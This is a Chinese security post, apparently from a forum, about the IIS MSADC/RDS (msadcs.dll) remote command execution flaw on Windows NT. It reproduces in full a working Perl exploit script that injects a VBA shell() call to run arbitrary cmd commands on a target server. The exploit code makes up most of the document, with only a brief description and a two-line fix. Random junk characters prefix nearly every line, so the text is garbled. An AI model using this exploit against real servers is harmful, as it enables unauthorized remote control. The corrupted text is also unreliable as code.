IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
!$qNugLg "xdXHuX 涉及程序：
>77
/e@ Microsoft NT server
u23^* - 6>SP5|GG 描述：
lmQ!q>N 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
VG q' y<8)mw 详细：
R%8nR6iG" 如果你没有时间读详细内容的话，就删除:
9I+;waLlB c:\Program Files\Common Files\System\Msadc\msadcs.dll
- :*PXu 有关的安全问题就没有了。
r >u0Y -"<H$ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
ATk >:^n `c(,_o a{ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
.e"De- u 关于利用ODBC远程漏洞的描述，请参看:
b4S7 Q"g ) m%ghpX http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm J$j&j` !gW$A-XD 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
z! D >l http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3yZtyXRPn :*)~nPVV 这里不再论述。
1sGkbfh{t s80:.B 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
\*v}IO>2}) S2;{)"mS /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
,BOB &u 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
~}$:iyJV(> J 0C <Qb[ }\ OLBg/ #将下面这段保存为txt文件，然后: "perl -x 文件名"
+m Mn1& e7>) Z #!perl
()}O|JL:K #
xJJlV P # MSADC/RDS 'usage' (aka exploit) script
y? )v-YGu #
mQ('X~l # by rain.forest.puppy
EYcvD^!1g #
yQM7QLbTk # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
1CFrV=d # beta test and find errors!
toX4kmC l/DV
?27 use Socket; use Getopt::Std;
s7D_fv4e getopts("e:vd:h:XR", \%args);
0F0V JE 8Rc4+g print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
FWq 6e, 0 r_8/|N# if (!defined $args{h} && !defined $args{R}) {
f&7S ivS# print qq~
MS_&;2 Usage: msadc.pl -h <host> { -d <delay> -X -v }
X+? *Tw!\ -h <host> = host you want to scan (ip or domain)
B#B $w_z -d <seconds> = delay between calls, default 1 second
F, %qG, -X = dump Index Server path table, if available
zTAt % w5 -v = verbose
Haaungb" -e = external dictionary file for step 5
<@A/`3_O) E )09M%fe Or a -R will resume a command session
cx1U6 A+ mhnD1}9,Ih ~; exit;}
`0= 0IPVd |.*),t3
(w $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
gmj
a2F, if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
c zL[W2l if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
zVGjXuNa if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
42Tjbten_u $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
zi:GvTG if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
\G#Qe*"'K nyw, Fu if (!defined $args{R}){ $ret = &has_msadc;
Zo-E0[9 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
^.nvX{H8~= 7$8z}2 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
?*9U
d . "cmd /c ";
gD@ &/j7 $in=<STDIN>; chomp $in;
q 4xB`G $command="cmd /c " . $in ;
67<zBw2 4) ]g=- 3 if (defined $args{R}) {&load; exit;}
xX{uDMYa; ]6pxd \Q print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
=yz#L@\! &try_btcustmr;
!jU<(eY rf@/<W u print "\nStep 2: Trying to make our own DSN...";
<{[AG3/Zj4 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
h<Yn0(. &o WWc$ print "\nStep 3: Trying known DSNs...";
Hm-+1Wx &known_dsn;
B(:Kw;r? 6pLB`1[v print "\nStep 4: Trying known .mdbs...";
!_?<-f( &known_mdb;
PC.$&x4w1 awHfd5nRS if (defined $args{e}){
/A9M v%zjk print "\nStep 5: Trying dictionary of DSN names...";
nbMH:UY,J &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Jk}L+X vv P qagep d print "Sorry Charley...maybe next time?\n";
69d Fd!G\ exit;
[{}9"zB$x0 E,c ~.jYc ##############################################################################
f8#WT$Ewy 6!n"E@B wu sub sendraw { # ripped and modded from whisker
SR*%-JbA sleep($delay); # it's a DoS on the server! At least on mine...
vk5pnCM^3 my ($pstr)=@_;
Ua5m2&U 1 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
T!"<Kv]J die("Socket problems\n");
>m:.5][yu if(connect(S,pack "SnA4x8",2,80,$target)){
^n@iCr9 select(S); $|=1;
YQ,IdWav print $pstr; my @in=<S>;
r[TS#hQ select(STDOUT); close(S);
/I7sa* i return @in;
|Mo# +{~c } else { die("Can't connect...\n"); }}
w_KGn17 _a+0LTo". ##############################################################################
Jtd@8fVi ?Ih24>:D sub make_header { # make the HTTP request
_xl#1>G^J my $msadc=<<EOT
[l- zU}u&v POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
,^26.p$ User-Agent: ACTIVEDATA
,H1J$=X' Host: $ip
i>ORCOOU Content-Length: $clen
UciWrwE Connection: Keep-Alive
CV]PCq! `DG6ollp{ ADCClientVersion:01.06
)N)ziAy} Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
+(/XMx}a s mIZ:L % --!ADM!ROX!YOUR!WORLD!
"sAR< 5b Content-Type: application/x-varg
thip fS Content-Length: $reqlen
%f6l" ~y w?jmi~ 6 EOT
xXA$16kd ; $msadc=~s/\n/\r\n/g;
g~FB&U4c return $msadc;}
u\t[rC=yd [O"i!AQ ##############################################################################
2O<S ig=
(pi7TS J sub make_req { # make the RDS request
{)4Vv`n my ($switch, $p1, $p2)=@_;
F#X\}MvE U my $req=""; my $t1, $t2, $query, $dsn;
L9Fx
Lw41 "'t <R}t!A if ($switch==1){ # this is the btcustmr.mdb query
px //q4 U $query="Select * from Customers where City=" . make_shell();
n
'P: $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
&0(2Z^Z>fw $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
7 aD I6G S~(4q#Dt- elsif ($switch==2){ # this is general make table query
"sT`Dh r $query="create table AZZ (B int, C varchar(10))";
^} /YGAA $dsn="$p1";}
5\R8>G~H ?aOR ^ K elsif ($switch==3){ # this is general exploit table query
+
{a $query="select * from AZZ where C=" . make_shell();
;jX_e(T3m $dsn="$p1";}
=!#D UfQf aI8wy-3 I elsif ($switch==4){ # attempt to hork file info from index server
,yV
pB)IQ $query="select path from scope()";
oYJ&BPuA' $dsn="Provider=MSIDXS;";}
\lKQDct. - LaN4%[;X1- elsif ($switch==5){ # bad query
Rn(| $query="select";
5Hr(9 ) $dsn="$p1";}
(
fdDFb#1 ;Ic3th%u $t1= make_unicode($query);
}s}9@k l;& $t2= make_unicode($dsn);
&CUkR6 $req = "\x02\x00\x03\x00";
>x2T ' $req.= "\x08\x00" . pack ("S1", length($t1));
wf|CE410 $req.= "\x00\x00" . $t1 ;
L'a MXN O $req.= "\x08\x00" . pack ("S1", length($t2));
$ZcmE<7k $req.= "\x00\x00" . $t2 ;
^jf$V #z0/ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
D cus-,u~ return $req;}
pM (y?zGt A:
0]
n ##############################################################################
+% U@ U}gYZi;;$ sub make_shell { # this makes the shell() statement
JiI(?I return "'|shell(\"$command\")|'";}
?Mp Gz CPa Q=^ }B}G ##############################################################################
ya:H{#%6 l'
"< sub make_unicode { # quick little function to convert to unicode
`&pb`P<` my ($in)=@_; my $out;
_F@FcFG1Z* for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
,x{5,K.yWq return $out;}
h(G&X9* \GMudN ##############################################################################
6\::Ku4_2 dcHkb,HsO sub rdo_success { # checks for RDO return success (this is kludge)
>$R-:>~zN my (@in) = @_; my $base=content_start(@in);
jDXmre? if($in[$base]=~/multipart\/mixed/){
4?%0z) g return 1 if( $in[$base+10]=~/^\x09\x00/ );}
tmb0zuJ&C! return 0;}
da I-* $<ZX};/D ##############################################################################
~gBqkZ# y? wV5<sH__ sub make_dsn { # this makes a DSN for us
oK(ua
my @drives=("c","d","e","f");
QQ!,W': print "\nMaking DSN: ";
kQ'G+Kw~F foreach $drive (@drives) {
Ym F`7W print "$drive: ";
Z< &:
W8n my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
TzK?bbgr! "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
%' g/4I . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
/OxF5 bN2 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
^eZqsd8 a return 0 if $2 eq "404"; # not found/doesn't exist
jBE= Ij if($2 eq "200") {
DcOu =Y> 1 foreach $line (@results) {
OcSLRN?t return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Ilo HU6h' } return 0;}
;nh7Elk |#-Oz#Eg' ##############################################################################
UI!EIZ*~ Q45rP4mQ sub verify_exists {
6b]vHT|p my ($page)=@_;
p n
=S%Qf] my @results=sendraw("GET $page HTTP/1.0\n\n");
G 8NSBaZe return $results[0];}
X;6X
K$" _ ')KDy7 ##############################################################################
[fW:%!Y' 4e%SF|(Y'h sub try_btcustmr {
%"KBX~3+Kj my @drives=("c","d","e","f");
w^ DAu1 my @dirs=("winnt","winnt35","winnt351","win","windows");
~&yaIuW< x1Si&0T0P< foreach $dir (@dirs) {
]h|GaHiE print "$dir -> "; # fun status so you can see progress
@NyCMe; ] foreach $drive (@drives) {
[n:R]|^a print "$drive: "; # ditto
a\% g_Q) { $reqlen=length( make_req(1,$drive,$dir) ) - 28;
0e}L Z,9e $reqlenlen=length( "$reqlen" );
k XOlZ C $clen= 206 + $reqlenlen + $reqlen;
SQz >e ]I}'
[D my @results=sendraw(make_header() . make_req(1,$drive,$dir));
L3kms6ch if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
[e*8hb S else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
RKBtwZx>f sF<4uy ##############################################################################
zF{ z_c#3@ yXEC@#?| sub odbc_error {
Z>X -u eV my (@in)=@_; my $base;
-A ffK o my $base = content_start(@in);
L~0B if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
FvvF4
,e5 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`Zk?.1*2/ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c^= ,@# $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!D6@ \ return $in[$base+4].$in[$base+5].$in[$base+6];}
HZP`u >. print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
0#yo\McZ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Y)a 7osML $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
35,SP R a ]ftE\99 ##############################################################################
Y)!5Z.K "C0oFRk sub verbose {
-bs~ { my ($in)=@_;
h\20 return if !$verbose;
M&> Z[o print STDOUT "\n$in\n";}
|~Z+Xl a M"V?fn' ##############################################################################
UCq+F96j g!K(xh EO sub save {
Y]Xal
my ($p1, $p2, $p3, $p4)=@_;
)9PQ j open(OUT, ">rds.save") || print "Problem saving parameters...\n";
VvPTL8Z print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
\.*aC) close OUT;}
M VsIyP $MP'j9 -S? ##############################################################################
3N <FG .6 &1VC0"YJWy sub load {
>Vg<J~[g my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
^WVr@6 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
|#MA?oz3T @p=<IN>; close(IN);
J M!o(zbt $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
,I)/ V>u $target= inet_aton($ip) || die("inet_aton problems");
yCm iW
%L4 print "Resuming to $ip ...";
X#p E!mT $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
OP> '<FK if($p[1]==1) {
fwOvlD&e $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
] ^.#d $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
jLZ~9FXF2 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
\a}%/_M\ if (rdo_success(@results)){print "Success!\n";}
ffSecoX else { print "failed\n"; verbose(odbc_error(@results));}}
!rwv~9I elsif ($p[1]==3){
//AS44^IS if(run_query("$p[3]")){
#5'9T:8 print "Success!\n";} else { print "failed\n"; }}
sYp@.?Tz elsif ($p[1]==4){
ya|7h z { if(run_query($drvst . "$p[3]")){
e&wW lB![ print "Success!\n"; } else { print "failed\n"; }}
VV?KJz=,W= exit;}
*,z_ _S$Q) CRS/qso[Q' ##############################################################################
EY&hWl*a^ v+Ooihxl sub create_table {
<S5Am% vo my ($in)=@_;
QPdhesrd- $reqlen=length( make_req(2,$in,"") ) - 28;
x==%BBnO% $reqlenlen=length( "$reqlen" );
4m%_# J{ $clen= 206 + $reqlenlen + $reqlen;
pYVQ-r%QF my @results=sendraw(make_header() . make_req(2,$in,""));
ku?i[Th return 1 if rdo_success(@results);
i"zWv@1z my $temp= odbc_error(@results); verbose($temp);
p5Y"W(5_ return 1 if $temp=~/Table 'AZZ' already exists/;
3VKA rv- return 0;}
`F(KM ' ^
b} _[B ##############################################################################
qL3*H\9N qf+I2 kyS sub known_dsn {
` 8.d # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
H{9di\xnEm my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
^TnBtIU-B "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
p"Fj6 T2 "banner", "banners", "ads", "ADCDemo", "ADCTest");
LL.YkYu q(_pk&/ foreach $dSn (@dsns) {
4WDh8U print ".";
nV
GrW#'E next if (!is_access("DSN=$dSn"));
KLlW\MF1 if(create_table("DSN=$dSn")){
*qGxQ?/ print "$dSn successful\n";
j@Z4(X L if(run_query("DSN=$dSn")){
$\{@wL print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
bf::bV?T print "Something's borked. Use verbose next time\n";}}} print "\n";}
$c[8-= p]IF=~b ##############################################################################
i!jx jP |WlWZ8] sub is_access {
^ qY J x my ($in)=@_;
`0Qzu\gRb $reqlen=length( make_req(5,$in,"") ) - 28;
k6. }. $reqlenlen=length( "$reqlen" );
pT.iQ J| $clen= 206 + $reqlenlen + $reqlen;
c`AtK s)u my @results=sendraw(make_header() . make_req(5,$in,""));
WOR ~ tS my $temp= odbc_error(@results);
le X&py verbose($temp); return 1 if ($temp=~/Microsoft Access/);
*N<~"D return 0;}
hb zU?_} a\aJw[d{ ##############################################################################
8
<EE4y ~[ isR|> sub run_query {
05.^MU?^U my ($in)=@_;
TU7 Q t< $reqlen=length( make_req(3,$in,"") ) - 28;
LEWey bT $reqlenlen=length( "$reqlen" );
8`kK )iC q $clen= 206 + $reqlenlen + $reqlen;
Mb uD8 B my @results=sendraw(make_header() . make_req(3,$in,""));
XeKIue@_ return 1 if rdo_success(@results);
0v t?yD my $temp= odbc_error(@results); verbose($temp);
R/xeC [r return 0;}
MAQkk%6[g E"nIC,VZ ##############################################################################
` (.K|l} PiP\T.XANa sub known_mdb {
oaM $< my @drives=("c","d","e","f","g");
-6(C ^X% my @dirs=("winnt","winnt35","winnt351","win","windows");
W{Ine>
a' my $dir, $drive, $mdb;
m "h{HgJd my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
M)#aX| %Mh a9` E&Q}z # this is sparse, because I don't know of many
v&D ^N9hy9 my @sysmdbs=( "\\catroot\\icatalog.mdb",
tc.R(F96 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
5 ZSV)$t "\\system32\\certmdb.mdb",
E~3wdOZv1 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
d.3-@^P |Xlpg diu my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
4(f[Z9 iZ] "\\cfusion\\cfapps\\forums\\forums_.mdb",
db'Jl^ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Zchs/C 9{ "\\cfusion\\cfapps\\security\\realm_.mdb",
2X!O ' "\\cfusion\\cfapps\\security\\data\\realm.mdb",
{'NdN+_C "\\cfusion\\database\\cfexamples.mdb",
K}L-$B*i "\\cfusion\\database\\cfsnippets.mdb",
bb`GV "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
{.K >9#^m "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
'C)`j {CS "\\cfusion\\brighttiger\\database\\cleam.mdb",
W
MU9tq[ "\\cfusion\\database\\smpolicy.mdb",
)xy1 DA "\\cfusion\\database\cypress.mdb",
( : 4N#p "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
uK2MC?LP "\\website\\cgi-win\\dbsample.mdb",
b*\K I "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
! av
B &Z "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
?k
CK$P ); #these are just
D .oX>L#: foreach $drive (@drives) {
^y]CHr foreach $dir (@dirs){
o[' HiX foreach $mdb (@sysmdbs) {
aqSHo2]DX9 print ".";
^OnU;8IC if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
\!Cix}}1 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Gt3V}"B3\ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
D pI)qg#>V print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
n*D-01v YP } else { print "Something's borked. Use verbose next time\n"; }}}}}
/'ccFm2
O
KVI l foreach $drive (@drives) {
KuL2X@)} foreach $mdb (@mdbs) {
^2rNty,nH print ".";
s`B]+ if(create_table($drv . $drive . $dir . $mdb)){
! `LaX!bmp print "\n" . $drive . $dir . $mdb . " successful\n";
ouL/tt_~ if(run_query($drv . $drive . $dir . $mdb)){
tpwMy:<Ex print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
7O^ySy"l } else { print "Something's borked. Use verbose next time\n"; }}}}
-,C">T%\ }
D6=Z%h\* L0H;y6& ##############################################################################
F[BJhN*]a 4 |9M8ocR sub hork_idx {
[*GIR0 print "\nAttempting to dump Index Server tables...\n";
.$pW?C 3e print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
.&:y+Oww~ $reqlen=length( make_req(4,"","") ) - 28;
>RZ]t[) y $reqlenlen=length( "$reqlen" );
{7.."@Ob<v $clen= 206 + $reqlenlen + $reqlen;
`z=U-v'H)D my @results=sendraw2(make_header() . make_req(4,"",""));
h,o/(GNnW if (rdo_success(@results)){
j6]+ fo&3 my $max=@results; my $c; my %d;
+P:xB0Tm
D for($c=19; $c<$max; $c++){
?-1 r$z
$results[$c]=~s/\x00//g;
KHV5V3q4 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
KCu @5`p $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
=NMT H[ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
y !) $d{"$1$2"}="";}
rf^ Q%ds foreach $c (keys %d){ print "$c\n"; }
xOnbY U } else {print "Index server doesn't seem to be installed.\n"; }}
|WqEJ*$, r 2M Iw ##############################################################################
( &HAjB pLjet~2}iJ sub dsn_dict {
~47Bbom open(IN, "<$args{e}") || die("Can't open external dictionary\n");
>{?~cNO& while(<IN>){
_:DnF $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
,#:* dl next if (!is_access("DSN=$dSn"));
6; 6 a.iZ if(create_table("DSN=$dSn")){
qk VGa%^ print "$dSn successful\n";
PLD 6 Ug if(run_query("DSN=$dSn")){
dfl| 6R print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
S<HR6Xw print "Something's borked. Use verbose next time\n";}}}
o=@ 0Bd8 print "\n"; close(IN);}
d$Y3 a^O| t\Pn67t ##############################################################################
{G$I|<MD2T zO8` xrN! sub sendraw2 { # ripped and modded from whisker
mO<sw sleep($delay); # it's a DoS on the server! At least on mine...
wTb7 xBI my ($pstr)=@_;
Whp;wAz socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
B7BXS*_b die("Socket problems\n");
z ea=vx>` if(connect(S,pack "SnA4x8",2,80,$target)){
v'gP,UO-%D print "Connected. Getting data";
O_^O1 open(OUT,">raw.out"); my @in;
b~dm+5W7 select(S); $|=1; print $pstr;
mC OJ1 } while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
uTgBnv(Y* close(OUT); select(STDOUT); close(S); return @in;
AT Dm$ * } else { die("Can't connect...\n"); }}
U
?'$E\ =.NZ {G ##############################################################################
Au3> =x` 9DcUx- sub content_start { # this will take in the server headers
3yg22y &l my (@in)=@_; my $c;
hd{Vz{;W for ($c=1;$c<500;$c++) {
?|!167 /O if($in[$c] =~/^\x0d\x0a/){
/^ * GoB if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
3 d
$ else { return $c+1; }}}
_%^t[4)q return -1;} # it should never get here actually
\)Jv4U\; ;]YQ WK ##############################################################################
F[m"eEX o"J> MAD sub funky {
O0OBkIj my (@in)=@_; my $error=odbc_error(@in);
7LMad% if($error=~/ADO could not find the specified provider/){
tKg\qbY& print "\nServer returned an ADO miscofiguration message\nAborting.\n";
b*$/(2"m exit;}
~3-2Iu^F if($error=~/A Handler is required/){
6!P];3&o\A print "\nServer has custom handler filters (they most likely are patched)\n";
^@f%A < exit;}
0w^\sf%s if($error=~/specified Handler has denied Access/){
ZK,}3b { print "\nServer has custom handler filters (they most likely are patched)\n";
M7z>ugk" exit;}}
CY2DxP % .Rl58 ]x~ ##############################################################################
EGMj5@> s!S,;H sub has_msadc {
$T* ##kyE9 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
0=Jf93D5 my $base=content_start(@results);
Cw;&{jY return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
d.y2`wT return 0;}
eveGCV;@ b(&~f@% | ########################
+LddW0h+=8 #:Z"V8n' XgY( Vv 解决方案：
sX53(|?* 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
hCRW0
I 2、移除web 目录: /msadc
